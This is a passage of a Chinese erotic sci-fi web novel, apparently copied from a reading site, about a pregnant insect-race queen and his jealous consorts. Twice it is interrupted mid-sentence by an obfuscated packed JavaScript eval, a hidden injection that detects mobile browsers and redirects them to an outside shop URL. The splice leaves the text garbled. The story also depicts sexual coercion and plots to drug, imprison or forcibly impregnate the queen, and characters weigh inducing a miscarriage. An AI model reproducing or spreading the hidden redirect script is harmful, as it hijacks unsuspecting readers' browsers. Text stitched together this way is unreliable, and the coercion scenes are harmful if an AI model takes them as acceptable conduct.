“看到了吗?”阿斯兰的声音传来,淡淡的,听不出情绪。 莱昂的喉结滚动了一下:“您转过来,我看不清。” 阿斯兰漠然地转过身。 正面看,肚皮上的虫卵隆起更加明显,像藏了一颗小小的果实。 他的腰本来就细,便显得格外突兀,却又格外—— 莱昂找不到合适的词。 母性? 简直让他想跪下去,亲吻妈咪那块皮肤。 莱昂忍不住走过去。 走到他面前,距离不过一臂,近到能闻见他身上清冽的蜜香,近到能看清他睫毛的弧度。 莱昂跪下。 这一次跪得更近,近到他的膝盖抵着阿斯兰的脚尖,近到他一抬头就能看见他的孕肚。 莱昂的复眼每一道棱都满是占有欲和满足感,他抬起手,碰上虫母隆起的孕肚。 肚皮温热,柔软,微微紧绷。 孕囊里有什么东西在缓慢地动着——是那枚虫卵,它在呼吸,在汲取养分,在一天天长大。 莱昂的拇指抚过那片皮肤,“它在动。”他低声说,“我们的孩子。” 阿斯兰低头看着他。 这个角度,他能看见莱昂低垂的眉眼,看见他虔诚的神情,看见他眼底那团烧了三小时依然没有熄灭的火。 “莱昂,你知道虫族的卵是怎么孵化的吗?” 莱昂心不在焉地抚摸着阿斯兰的孕肚:“臣不知道。” 阿斯兰冷声说:“在很久以前,在斐涅尔人还没有被改造成人形的时候,虫母会产下成千上万枚卵,那些卵堆在一起,密密麻麻,像一座山。” “然后,它们会开始吃。” 莱昂下意识地重复:“吃?” “吃彼此。”阿斯兰说,“强的吃弱的,大的吃小的,活着的吃死了的,最后,成千上万枚卵里,只会活下来几十枚,甚至几枚。” 他转过身,看着莱昂,“那就是虫族的法则。从古至今,从未改变。” 阳光落在他身上,将他的银发染成淡淡的金色,莱昂跪在那里,看着这个站在晚风里的君王,突然觉得心脏火热。 “陛下,您肚子里的卵只有一枚,但它迟早会有兄弟姐妹。到时候,它们也会开始吃,但我的孩子,它会活下来。” 莱昂的手覆上孕肚的隆起,动作轻得像在抚摸什么珍贵的东西。 他低下头,嘴唇贴上阿斯兰的孕肚,一下一下,轻轻的,像在亲吻,又像在膜拜。 孕囊里的虫卵动了动,像是感受到外面的温度,像是想凑近那只比它更烫的手。 莱昂的嘴唇停在那里。 “它喜欢我。”他低声说,语气里带着一丝说不清是得意还是复杂的情绪:“我们的孩子喜欢父亲。” “它喜欢的是热度,就算你把带着血的肉块贴上去也是一样。”阿斯兰揪住莱昂后脑勺的短发:“给我滚出去。” 莱昂被王宫亲卫强行带走。 阿斯兰也离开,走得很慢。 不是刻意慢,是走不快。 每走一步,都能感觉到虫卵在孕囊里面轻轻晃动,像一颗悬在体内的水球,又像一个小小的钟摆,随着步伐左右摇摆。 他的手按在小腹上,穿过中庭,穿过花园,穿过那些他走过无数遍却从没有认真看过的地方。 停在一扇门前。 那是一扇很小的门,藏在一根柱子后面,不仔细看根本发现不了。 他听见有人在说话。 阿斯兰的眉头动了动,他认出了这个声音。 埃德蒙? 阿斯兰站在门边,透过那道细细的门缝,看向里面。 那是一间很小的会议室,一张长桌,几把椅子,埃德蒙坐在长桌的一端,脸色阴沉。 他的对面坐着三个人。 都是陌生的面孔,两老一少,穿着华贵的衣袍,面容与埃德蒙有几分相似。 是他的家族成员。 “埃德蒙,”最年长的那个开口,声音苍老而威严,“你还要委屈到什么时候?” 埃德蒙没有说话。 “整个王都都在看你的笑话。”另一个稍年轻的接过话,“你让莱昂抢了先,不争不抢,你以为这样,阿斯兰就会多看你一眼?” 埃德蒙的手指蜷缩了一下,但他依然没有说话。 “他是虫母。”最年长的那个继续说,“是整个族群唯一的王。他的肚子里能装多少卵,你比我清楚。莱昂已经塞进去一枚了,其他军团长也在蠢蠢欲动,你以为你等,就能等到什么?” 埃德蒙终于抬起头:“我等什么,不劳几位长辈操心。” “不操心?”年轻的那个冷笑一声,“你知不知道,整个家族的脸都被你丢尽了?你看看莱昂,他直接塞,直接要,直接抢。他得到了什么?一枚卵!在虫母的孕囊里扎根的卵!你呢?你得到了什么?” 埃德蒙的眼底闪过一丝暗色:“我不需要得到什么。” 年长的那个站起身,走到他面前,“埃德蒙,你听清楚。我们不是在跟你商量。家族需要虫母的血脉,你既然是他的王夫,就必须让你的卵在他肚子里扎根。” 他顿了顿,弯下腰,凑近埃德蒙的耳边:“如果你做不到,那就换一种方式。” 埃德蒙皱眉:“什么意思?” “三个选择。”对方说,“第一,把他囚禁起来,你是第七军团的军团长,你手里有兵,趁着他肚子里的卵还没长大,趁着他行动不便,直接动手。” 埃德蒙的手指攥紧了桌沿。 “第二,”年长的继续说,“给他喂药。虫母虽然特殊,但不是不能控制,有一种药,可以让他失忆,让他忘记自己是谁,忘记那些王夫,忘记他想逃的事,到时候,他就是一张白纸,你想让他生多少都可以。” 埃德蒙的脸色变了。 “第三——”年长的嘴角弯了弯,“给他下迷药。不需要囚禁,不需要失忆,只需要在你轮值的时候,让他昏过去,然后把卵塞进去。一次不行就两次,两次不行就十次,总有那么一枚,能塞进去,你塞进去,他就会接受孕育你的虫卵,他总不可能把自己搞流产……” 阿斯兰站在门外,听着这些话,脸上什么表情都没有。 他的手按在小腹上,感受着那枚虫卵轻轻的脉动。 他知道会有这些阴谋诡计。 从成为王的那一天起,他就知道。 雄虫们想要他,想要他的身体,想要他的孕囊,想要他的后代。 他们跪在他面前,用最虔诚的姿态表达忠诚,眼底却烧着同样的火——占有,控制,掠夺。 他只是没想到,会从埃德蒙的家族嘴里听到。 埃德蒙的家族,在教他怎么囚禁他,怎么给他喂药,怎么把他变成一具只会产卵的行尸走肉。 阿斯兰垂下眼。 雄虫都一样的。 小会议室里,埃德蒙沉默了很久,久到那个年轻的不耐烦了,开口催促。 “你还在犹豫什么?这三个办法,随便哪个都能让你如愿,你是想要他的身体,还是想要他的卵,还是想要他这个人,都可以,只要你动手。” 埃德蒙抬起头。 他看着这三个人,看着这三张和他流着同样血脉的脸。 “说完了?”他问。 三个人愣了一下:“说完了。” 埃德蒙站起身:“囚禁王。你们知道这是什么罪吗?” 年长的皱起眉:“只要做得好,没人会发现——” 埃德蒙打断他,“喂药?让他失忆?让他忘记自己是谁?你们知不知道,他的信息素和他的记忆绑在一起?让他失忆,等于让他的信息素紊乱,到时候,整个前线的战士都会因为没有王蜜而疯狂,会变成一滩烂肉。你们想过吗?” 三个人沉默了。 “还有,”埃德蒙的声音更冷,“下迷药,趁他昏过去的时候塞卵……你们以为,卵那种东西只需要塞进去就行?它需要母体的接纳,需要母体的养分,需要母体的意志允许它活着。他如果不想,如果他在昏迷中本能地排斥,那枚卵根本活不下来。” 他往前走了一步。 “你们说的这三个办法,”他一字一顿,“不是在帮我,是在害他,也是在害我。” 年长的脸色变了:“埃德蒙,你——” “我什么?不是所有雄虫都只会抢。” 他顿了顿:“你们不懂。” 年轻的忍不住开口:“不懂什么?” 埃德蒙看着他:“你不懂他是什么。” “他是王,是整个族群唯一的王。他的身体不属于任何人——甚至不属于他自己。你们想囚禁他,想控制他,想把他变成只会产卵的工具。但你们有没有想过,如果他真的变成了那样,他的信息素还会存在吗?他的王蜜还会分泌吗?” 他严厉道:“如果没有王蜜,前线的战士会怎样?整个斐涅尔会怎样?” 三个人沉默了。 埃德蒙转过身,向门口走去,走了几步,他停下来。 “今天的话,我就当没听见。”他没有回头,“但如果再有下次,我会亲自送你们去边境充军。” 门被推开,埃德蒙走出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿斯兰黑漆漆的眼眸在暮色中显得幽深难测,里面翻涌着嘲讽:“哦?那你求什么?求我这个人?一个怀着别虫卵的虫母?埃德蒙,你的口味何时变得如此独特?” 这话语像鞭子一样抽在埃德蒙的心上,他看着阿斯兰微凸的小腹,那里孕育着莱昂的血脉,这个认知让尖锐的嫉妒和渴望同时灼烧着他的理智。 他能想象到莱昂的气息如何缠绕在阿斯兰身上,如何在那片神圣的领域留下强迫的痕迹。 “正因如此,”埃德蒙看着阿斯兰,眼底是再也无法掩饰的狂热与痛苦,“正因如此……我才无法忍受。陛下,您的孕囊应该承载最强大的血脉,应该……” “应该承载你的,是吗?” 阿斯兰垂下眼,长长的银色睫毛在脸颊投下阴影,语气平淡得像在陈述一个与己无关的事实,“可惜,它现在有主了。” 他向前走了一小步,微隆的孕肚几乎要碰到埃德蒙,这个距离让埃德蒙的呼吸瞬间粗重起来。 虫母的信息素如同有形的触手,缠绕、撩拨,挑战着雄虫最后的自制力。 “莱昂的种,就在里面。”阿斯兰轻声说,“一天天长大。你能感觉到吗?它的生命力多么顽强?它在使用我的身体,它一出生就要叫我妈妈……而我,会爱它胜过爱你,因为你在我眼里,没有虫卵重要。” “我不爱你,埃德蒙。”阿斯兰勾了勾唇角,“你听清楚了吗?” 埃德蒙的拳头骤然握紧,他如同被宣告死刑,猛地抬起头,眼中燃烧着近乎疯狂的占有欲:“我可以等,等它出生……我可以……” 阿斯兰发出一声极轻的嗤笑,“等到什么时候?等到它孵化,等到莱昂的势力借着这个孩子彻底压倒你和你那野心勃勃的家族?” 阿斯兰直视着他燃烧的眼睛,“不如先让它流掉。” “……” 一片死寂,只有埃德蒙粗重的喘息声,和王蜜香气的流淌。 阿斯兰挺着畸形的孕肚,那里面是一只雄虫,圆润,也丰腴。 但是凸起最厉害的那一块,能摸到下面坚硬的轮廓,没有虫崽柔软的胎动,只有骨骼、肢体、幼年虫族带着野性的野蛮。 每一次动弹,都像要从他体内破膛而出。 却是属于虫母的、最圣洁的模样。 阿斯兰不遮掩,不躲闪。 苍白修长的手缓缓在腹顶画着圈,感受着底下虫卵的回应般的躁动,刻意地说:“看看它,埃德蒙。它每天都在提醒我,也提醒你,莱昂做到了什么。” “他让我成为妈妈,给了我身为妈妈最美丽也最荣耀的勋章。” “他让我怀孕了。” 阿斯兰微微抬头,他的脸色比平日更显苍白,银色的长发披散着,更添几分易碎感,声音冷得刺骨,“埃德蒙,你也想要我怀上你的孩子吗?” 埃德蒙面色冷冷。 雄虫的本能在他血管里尖叫,催促他去覆盖,去取代,去抹掉那个碍眼的虫卵。 他能想象出莱昂得意洋洋的嘴脸,一股强烈的冲动让他伸出手,触碰那片满月般玉滑的皮肤,感受那个正在窃取阿斯兰养分、改变阿斯兰形态的“异物”。 让虫母怀孕?让虫母爱他? …… “我想让您怀孕,陛下,我会让您怀孕。” “但我不会让您流产,因为它是您的孩子。” 它正在一天天变大,一天天变得更像一个生命。 它会破壳,会睁开眼睛,会叫阿斯兰“妈妈”。 它会占据阿斯兰的注意力,占据阿斯兰的时间,占据阿斯兰本来就不多的温情。 “不管它是谁的卵,只要它在您体内长大,它就是您的孩子。”埃德蒙在灭顶的痛苦里,艰涩地说:“我爱您,所以……我会试着爱它。” 4. 第 4 章 阿斯兰冷脸离去。 算了,浪费时间,与其和埃德蒙废话,不如去看看王蜜的分配工作进行到什么程度了。 毕竟,王蜜的分配是一场永不落幕的战争。 阿斯兰来到中央调度大厅的环形观测台前,脚下是全息投影构成的星域图。 无数光点在其中流动——金色代表已分配的王蜜运输航线,蓝色是常规巡航路线,刺眼的红色则标记着前线急需补给的区域。 总调度官说:“陛下,第七军团的紧急申请已经通过初筛,按照《战时配给法案》第17条,领主级星兽威胁可触发橙色响应。但……” “但什么?”阿斯兰没有回头,手指在空中轻划,将第七军团防区放大。 红色的警报区域像溃烂的伤口,持续扩散。 “但本月配给已按既定比例分配完毕,王室储备库需维持至少30%的存量以应对突发状况,若要从其他配额中调剂……” 调度官停顿了一下,“传统派的三个家族已联名提出异议,认为此举会破坏分配制度的稳定性。” 王室储备30%,名义上属于王,实则由内阁和王夫联席议会共同监管,阿斯兰能直接动用的,不足5%。 族群基础配额是按各星域人口比例分配,确保每个斐涅尔公民的最低生存需求。 这是最庞大的份额,也是革新派与传统派争夺的焦点。 还有战功配额的制度。 按击杀星兽数量、占领星域价值、战役贡献度计算,数据越高,得到的虫蜜越多。 第七军团常年高居榜首,这也是埃德蒙虽然疯狂却无人敢动的原因。 还有,科研与建设贡献配额,家族世袭配额,公民个人功勋配额。 理论上每个斐涅尔人都可通过卓越贡献获取额外配额,但百年来获此殊荣者不足百人。 阿斯兰执政后,推行新政,核心只有一条:逐步削减家族世袭配额,将节约出的份额向边缘星城倾斜,同时提高公民个人功勋配额的获取渠道与额度。 “他们不是反对调剂,”阿斯兰转身,银发在调度大厅的冷光下流淌如汞,“他们是反对新政通过任何形式得到验证。如果这次紧急调剂成功缓解了第七军团的危机,就证明现有的刚性分配制度需要弹性,而弹性,正是新政的核心。” 调度官垂下头,不敢接话。 这是王与内阁、议会之间持续七年的拉锯战,任何站队都可能万劫不复。 “按橙色响应执行。”阿斯兰裁决道,“从我的直接储备中拨出40%,从家族配额池中临时征调30%,按最近三年平均贡献度倒序征收。剩余30%,从族群基础配额中调剂,由王室内库未来三个月分批补还。” 调度官的手指在全息控制台上微微颤抖。 从家族配额倒序征收! 这意味着那些尸位素餐的古老世家将首当其冲。 而王室未来三个月补还族群配额,等于阿斯兰将自己的政治信用直接质押给了最广大的平民阶层。 “陛下,这会引起……” “动荡?”阿斯兰替他说完,“那就动荡吧。总比前线因为缺蜜而崩溃,星兽长驱直入吞噬半个星域要好。” 他抬步向外走去,长袍拖过光洁的地面,无声无息。 “执行命令。若有异议,让他们来王座厅找我。” 调度官不知该怎样夸赞虫母陛下,陛下是一个相当冷淡的人,相当有谋略的政治家。 可是他只能分泌王蜜,不能生育,无法执掌朝政,权柄大打折扣,只好下移。 调度官只能恭谦地跪在地上:“……是,我的陛下!” 可是再一抬头,阿斯兰已经离开。 离开这里的走廊漫长而寂静。 银白色的墙壁映出阿斯兰独自前行的身影,他习惯这种寂静,甚至依赖它。 只有在绝对的寂静中,他才听得到自己还未完全死去的心跳。 阿斯兰独自前往政务处。 * “陛下,您来了。” 赫里安,帝国宰相,文官集团之首,也是阿斯兰七十三位王夫中最特殊的一位。 他不是战士,没有军团背景,却凭借无与伦比的政洽智慧和绝对冷静的理智,稳坐文官第一把交椅七年。 在所有的王夫中,他对阿斯兰的忠诚最为复杂。 但是这种忠诚,也根植于阿斯兰的虫母身份。 赫里安比任何人都清楚阿斯兰对整个文明的价值,也因此,他的保护欲与控制欲,都有些无法掩藏。 “调度厅的事,我听说了。” 赫里安和阿斯兰保持着半身距离,他穿着深灰色相袍,金丝眼镜后的眼睛是琥珀色,“很精妙的操作,缓解前线压力,打击守旧世家,收拢平民人心。” “只是必要的决策。”阿斯兰淡淡道。 “必要?”赫里安音调微妙,“陛下总是知道什么是,必要。” 赫里安的目光,第一次落在阿斯兰的小腹。 阿斯兰“怀孕”后,赫里安首次看到他。 “才三天。”赫里安的声音低了下来,喉结微动,“莱昂的卵发育得很快,出乎我的意料,看样子不到半个月就能出生。” 阿斯兰站在原地,任由赫里安的目光扫描他的腹部:“是啊,我也没想到。” 而且流产计划还失败了。 “对了,我为您准备了一件礼服。”赫里安终于移开视线,从随身的空间折叠器中取出一只扁平的银灰色匣子:“今晚的各大星城代表接见宴,穿这件会更合适,更符合母亲的身份。” 阿斯兰皱着眉头,打开匣子。 里面是一件银白色的长袍,但材质极其特殊,使用某种生物活性丝织成,薄如蝉翼,却能在光线折射下流转虹彩。 款式是古典的高腰帝国长袍,但腰线的位置,正好在孕肚最饱满的弧度之上。 而腹部的面料做了特殊的透光处理,在特定光照下,会隐约透出肌肤的轮廓与孕肚的曲线。 一件精心设计、优雅无比,却旨在凸显虫母孕态的礼服。 阿斯兰抬起眼,意味深长地看向赫里安:“你设计的?” 宰相的呼吸略微急促,眼睛深处燃着两簇幽暗的火,他的手指无意识地蜷缩,又在意识到失态后迅速放松。 “虫族痴迷孕育,”赫里安的声音有些干涩,像在陈述学术观点,却掩盖不了其下的暗流,“这是刻在基因里的崇拜,各大星城的代表多为军官与富商领袖,他们对王的认知更贴近原始虫族对虫母妈妈的认知。如果看见您孕育的姿态,会极大增强他们的归属感与忠诚度。” 阿斯兰冷笑:“多么完美的理由?政治正确,逻辑自洽。” 阿斯兰的手指抚过那冰凉滑腻的衣料。 丑陋的衣服。 他能想象穿上它的效果——在宴会厅的穹顶光下,他的孕肚会被若有若无地勾勒出来,既庄重又禁忌,所有雄虫的目光都会黏在那里,像舔舐蜜糖的蚁群。 “莱昂会很高兴。”阿斯兰漫不经心地说,“他的卵,被这样展示。” “他不配。”赫里安从牙缝里挤出三个字,随即意识到失言,深吸一口气,“我的意思是,以如此粗暴的方式对您。” “但他成功了。”阿斯兰心不在焉地将礼服匣子合上,“卵在孕囊里面,发育良好。也许再过一个月,就会有一个流淌着第四军团长血脉的虫崽破壳而出,叫我妈咪。” 他向前一步,拉近了与赫里安的距离。 近到能闻到对方身上清冷的书卷气,也能感受到那平静表象下要爆裂的激烈心跳。 “你很嫉妒,赫里安?”阿斯兰抬起手,指尖触碰到宰相的下颌,“你比他聪明,比他有权势,比他更懂得如何照顾我。可你却不敢像他那样,直接撕破脸皮,把卵塞进我的肚子里。” 赫里安的呼吸彻底乱了。 他的眼睛死死盯着阿斯兰,镜片后的瞳孔缩成了细针,里面翻滚着阿斯兰在所有王夫眼中都见过的狂乱占有欲,只是被一层更厚的理智冰层压抑着。 “因为我不会伤害您。”赫里安的声音低哑,“我不会对您用强。” “但你想。”阿斯兰的指尖终于落下,轻轻点在赫里安的唇上,冰冷,“你想得发疯。每次看到我的肚子,每次想到里面是别的雄虫的种,你都想把我按在地上,挖出那颗卵,换成你自己的。我说的对吗?” “您!”赫里安猛地抓住阿斯兰的手腕,眼睛通红,理智的冰层在崩解。 “那就做啊。”阿斯兰迎着他的目光,甚至微微笑了,那笑容空洞而艳丽,“你不是最有办法的宰相吗?想想办法,让我流产。” 他另一只手抚上自己的小腹,隔着衣料,按在那隆起的弧度上。 “它掉了,孕囊空了……”阿斯兰的声音像毒蛇吐信,带着致命的诱惑,“下一个,也许就是你的机会了,赫里安。” 时间凝固了。 赫里安抓着阿斯兰手腕的手在剧烈颤抖,他的胸膛起伏,像困兽最后的挣扎。 阿斯兰能看见他眼中疯狂的算计——如何在不让虫母身体受损、信息素紊乱的前提下,让这颗卵“自然”流产。 下毒?压力?意外?无数方案在那颗天才而扭曲的大脑中飞旋。 阿斯兰很期待。 但最终,赫里安松开了手。 他后退一步,只是呼吸仍不稳,额角有细汗。 “您总是知道……如何考验我,陛下。”他的声音恢复了平稳,甚至带着一丝无奈的苦笑,“我会安排好今晚的宴会,您只需要穿着礼服,前来赴约。” 阿斯兰却没有放弃:“好啊,那我先穿上给你看看。” 阿斯兰屏退所有侍从,站在等身镜前,一件件褪去日常的衣袍,最后,换上那件银白色的虹彩长袍。 镜中的身影,腰线之上,是王者的威严与清冷。 腰线之下,薄面料在光线中呈现出半透明的质感,他微微隆起的孕肚轮廓被柔和地勾勒出来,像月光下的珍珠,随着他的呼吸,弧度轻轻起伏。 里面是另一个生命,另一个雄虫强加于他的生命。 礼服在走动间流淌如水,孕肚的轮廓时隐时现,赫里安的目光黏在阿斯兰的腰腹之间,金丝眼镜后的琥珀色眼睛深处,有什么东西在剧烈燃烧,又被理智的锁链死死禁锢。 “如何?”阿斯兰在他面前停下,微微侧身,让那道弧线更清晰地呈现,“符合你的预期吗,宰相大人?” 赫里安的喉结剧烈滚动。 他张了张嘴,竟没能发出声音。 那件礼服的效果远超他的设计。 他设计时想象过,但当它真正穿在虫母身上,当被孕育中的生命以如此优雅而禁忌的方式呈现,他才意识到自己亲手创造了怎样的视觉陷阱。 “……陛下。”他的声音沙哑得不像自己,“您……完美至极。” 阿斯兰却没有理会他,抬起手,掌心贴上冰凉的镜面,与镜中的自己对视。 “系统。”他在心中默念。 【我在,宿主。】 “流产的可行性,快点,我要真实评估!” 系统沉默了几秒:【根据当前医学数据与您的体质:自然流产概率低于0.7%;外力导致流产成功率约89%,但伴随信息素紊乱风险率62%,永久性孕囊损伤风险率34%;药物诱导……总之,无法自然流产。】 “够了。” 阿斯兰失望至极,他收回手。 镜子里的虫母,美得惊心动魄,也脆弱得不堪一击。 可是,有什么用呢? 赫里安不敢冒险对他下手,其他王夫也不敢对他下手,他们都需要这个孕囊完好无损,需要它能继续承载他们的野心与血脉。 这群没出息的雄虫。 “多么完美。”阿斯兰对着镜中的自己低语,“一件为虫母量身定制的囚服?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248829|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就穿给大家看吧,反正大家都很爱这样的虫母。” 然而,赫里安再也隐忍不住,从背后抱住了他的肚子。 双臂从腰间环过,掌心自下而上,小心翼翼地托住肚子沉甸甸的弧度。 “放开。”阿斯兰慢悠悠地说:“你不爱我吗?你怎么能这么自私?虫母是共享的啊,你忘了吗?” “我爱您的一切,但我也是自私的,我不愿意和其他雄虫共享您,哪怕我也是虫族的一员,请原谅我。” 赫里安的声音闷在颈侧,带着罕见的执拗,“就一会儿,陛下。让我就这样,抱一会儿。” 阿斯兰垂下眼,看着环在腹前的双手。 “你不必产生自我矛盾。”阿斯兰的声音很淡,“虫卵又不是你的。” 赫里安的手臂收紧了一瞬,又立即松开些力道,生怕压到那隆起的腹部。 “我知道。”他说,“我知道它是莱昂的,我知道您不想要它,但我请求您,陛下,忍耐这一次。无论怀的是谁的孩子,都是虫族的孩子。” 阿斯兰猛地侧过头,目光如刀。 赫里安迎上那目光,没有退缩,“您听我说完。我知道这话说出来,像个叛徒,我是您的王夫,我应该渴望自己的血脉进入您的身体,应该嫉妒其他雄虫的种,我确实嫉妒,我嫉妒得发疯。” 他的手轻轻摩挲着孕肚的侧面,动作轻柔得像在抚摸熟睡的幼崽。 “可是陛下,这颗卵,它不只是莱昂的野心。它也是虫族未来的战士,是可能成长为军团长的血脉,是能为我们守卫边疆的生命。前线每天都在死人,星兽潮越来越频繁,边缘星城的防线岌岌可危,我们需要每一个战士。” 阿斯兰沉默。 赫里安继续说下去,声音越来越缓,像在用全部理智控制每一个字:“我知道新政是您的理想,削减家族配额、向边缘倾斜、扩大民众基础——这些我都支持您。可您知道要实现这一切,需要什么吗?” “军权。”阿斯兰淡淡道。 “对,军权。”赫里安的手掌贴上孕肚最饱满的地方,感受着那温热的起伏,“莱昂是第四军团长,他麾下有三十六艘主力战舰,八万精锐战士,埃德蒙的第七军团更是战功赫赫。这些军团,他们效忠您,但也效忠自己的军团长。如果您弄掉莱昂的卵,他会疯的。” “他敢反?” “他不会反您。”赫里安苦笑,“但他会反新政。他会联合所有对您政策不满的传统派,用军功配额的分配不公为由,在议会上发难。到时候,内阁压不住,您七年的心血,会毁于一旦。” 阿斯兰闭了闭眼。 他知道赫里安说的都是真的。这些他何尝没有想过? 只是从另一个人的口中听到,显得格外冰冷,格外无可辩驳。 “所以你要我。”他的声音很轻,“像个合格的虫母一样,乖乖怀孕,乖乖生产,用肚子里的卵去拴住那些军团长,让他们继续效忠?” “是。”赫里安把他抱得更紧了些,却始终小心着腹部的力度。 “我要您活着。要您赢。要您最终实现那个理想,让每个斐涅尔公民都能靠自己的贡献获得王蜜,让边缘星城不再被遗忘,让这个制度不再被世家垄断。” 他的唇落在阿斯兰的鬓角,“而要走到那一天,您需要时间,需要这些军团长在您彻底掌握局面之前,不至于撕破脸。您需要这颗卵平平安安地生下来,让莱昂高兴,让第四军团知道他们的血脉会延续。” “你知道我在想什么吗?”阿斯兰忽然问。 “什么?” “我在想,如果是你,会怎么做。”阿斯兰的声音平静,“如果你像莱昂一样疯了,像我反抗不了,像他把卵塞进我的身体,你会怎么劝自己?” 赫里安的手臂僵住。 “你大概会说,”阿斯兰继续,“这是为了虫族。这是为了大局。这是为了让我的血脉延续,增强军团的忠诚,你会给自己找一百个合理的理由,然后像现在这样,从背后抱住我,小心翼翼地抚摸这颗卵,告诉自己这不是占有,是责任。” “……陛下。” “我说对了吗?” 赫里安沉默,低声道:“对,您说对了,我会那样做,我会用所有最冠冕堂皇的理由,包装自己的欲望,欺骗自己,也欺骗您。” 阿斯兰抬手,摘下赫里安的眼镜。 那双琥珀色的眼睛红透了,眼眶里蓄着泪,却死死忍着不让它落下。 “你说得对。”阿斯兰轻声道,“我需要忍耐,需要这颗卵平安生下来,需要莱昂和第四军团继续支持我。需要时间,需要布局,需要慢慢把那些世家手里的权力,一寸一寸收回来。” 赫里安的眼睛亮了一瞬。 “但是赫里安,”阿斯兰的指尖抚过他的眼角,沾了一点湿润,“你要记住今天。” “记住什么?” “记住你抱着我的肚子,劝我生下别人的孩子。”阿斯兰的唇角勾起一个薄凉的弧度,“等有一天,局势稳定了,世家归权了,我自由了,我会让你还的。” 赫里安似乎没深想,温声问:“还什么?” 阿斯兰没回答,嘲讽道:“到时候你就知道了。晚宴要迟到了,走吧,该去让他们看看,我是怎么做一个合格的,母亲。” 赫里安压着心痛和欲望,握住阿斯兰的手,轻轻托起,在手背上落下一吻。 “无论他们怎么看,我都在您身边。今晚,明晚,以后的每一个晚上。” 阿斯兰淡淡地甩开他的手:“别说废话。” 他们并肩走出侧厅,走向灯火辉煌的宴会厅。 孕肚的轮廓在礼服间若隐若现,宴会厅的大门在面前打开,穹顶的光倾泻而下,照亮虫母的银发与孕态。 所有的目光汇聚而来,像无数只无形的手,抚摸着孕肚隆起的弧线。 阿斯兰微微扬起下颌,步入那片目光的海洋。 孕肚先于他迈过门槛。 5. 第 5 章 阿斯兰迈过门槛的那一瞬间,所有的声音都消失了。 交谈声、杯盏声、脚步声,在同一秒内齐齐断掉,只剩下呼吸,只剩下目光,只剩下无数双眼睛黏在他身上…… 那些黏腻而灼热的视线,落在他的脸上,他的肩上,他的胸口,然后,全部汇聚到他的小腹。 礼服近乎于半透明,孕肚的轮廓被柔和地勾勒出来,像一轮藏匿在薄雾中的满月。 随着他的呼吸,肚皮圆润的弧线轻轻起伏,每一次起伏都牵动着在场每一只雄虫的神经。 阿斯兰继续向前走。 他看着那些呆立在原地的雄虫,看着他们眼底的渴望、占有、嫉妒、以及疯狂,心底发笑。 真丑陋啊。 “陛下。” 有人最先反应过来,是站在前排的荆棘星城代表,身材魁梧,面容粗犷,此刻却单膝跪地,垂着头,声音发颤:“参见您,我的陛下。” 这一声打破了沉默,宴会厅里哗啦啦跪倒一片。 “参见陛下——” “母亲圣安——” “妈妈——” 阿斯兰没有停下,长袍拖过光洁的地面,白发飘落在地,无声无息。 那些跪伏的身影从他两侧掠过,如同摩西分海般向两边分开,又在他身后迅速合拢。 阿斯兰在王座落座。 他坐下的时候,孕肚的弧度在衣料下微微颤动,像一颗不安分的果实。 “起来。” 他的声音很淡,听不出任何情绪。 众人起身,各自落座,但气氛已经变了。 原本的觥筹交错变成了心不在焉的应付,原本的高谈阔论变成了压低声音的交头接耳,所有人的目光都在他和他的小腹之间游移,像一群闻到了血腥味的野虫兽。 阿斯兰端起酒杯,心不在焉地抿了一口。 是斐涅尔特产的果酒,酸甜清凉,带着一丝微弱的酒精? 他尝不出什么味道,只觉得舌尖有一点凉,然后就什么都没有了。 他不能喝酒,喝酒会醉,醉了……会发生一些他不想要发生的事。 他们对虫母的手段花样百出,阿斯兰不想承受那些。 虫族、尤其是雄性,是追求感官刺激的生物,逼迫虫母采蜜,会让他们精神力高昂,战意充沛。 ……借口,都是借口。 阿斯兰冷冷地放下酒杯。 “陛下。”有人跪到他脚边,那是一个年轻的雄虫,看服饰应该是边缘星城,冰原城的代表,面容还带着几分青涩,眼底却有压抑不住的狂热。 他双手举着一只银盘,盘中盛着切成薄片的蜜渍肉脯、新鲜的星果、还有一小碟乳白色的膏状物——那是斐涅尔人最珍视的甜品,由王蜜调制而成。 “陛下,您……您还未进食。”他的声音有些抖,不知是紧张还是激动,“请您……请您用一些。” 阿斯兰低头看着他。 从这个角度,他能看见那雄虫的耳尖在发红,能看见他握紧银盘的手指在微微颤抖。 “不吃。”阿斯兰说。 但下一秒,另一只银盘递到了他面前。 “陛下,这是我带来的星果,产自我的家乡,最甜的一批。” “陛下,这肉脯是用星兽里脊肉蜜制的,您尝尝。” “陛下——” “陛下——” 越来越多的雄虫涌过来,跪在他脚边,举着盘子,仰着头,用那种混合着渴望与欲望的眼神看着他。 他们挤在一起,争抢着更靠近他的位置,盘子和盘子碰撞,发出叮当的脆响。 有人被挤得踉跄,有人被踩了手指,但没有人退后,没有人愿意放弃这个机会。 ——给虫母献食。 这是斐涅尔人古老的习俗,源自他们还保留虫族形态的时代。 那时候,外出狩猎的雄虫会将最肥美的猎物带回巢穴,献给虫母,跪在他面前,等他享用。 这是一种供奉,也是一种求偶。 阿斯兰看着脚下黑压压跪成一片的雄虫,看着那些高举的银盘,看着那些激动到微微发红的脸。 他觉得有些可笑。 他饿了,确实饿了,从昨晚到现在,他只喝了几口水,孕囊里的虫卵在吸收他的养分,让他的身体比平时更需要能量。 但他看着那些盘子里的食物,却什么都想吃,又什么都不想吃。 是不是把自己饿晕,虫卵就会饿死?阿斯兰恶毒地想着。 那些雄虫发出失望的低叹,有人不甘心地往前挤了挤,想要把自己的盘子举得更高, 阿斯兰随意吃了一片星果。 然后是第三片,第四片。 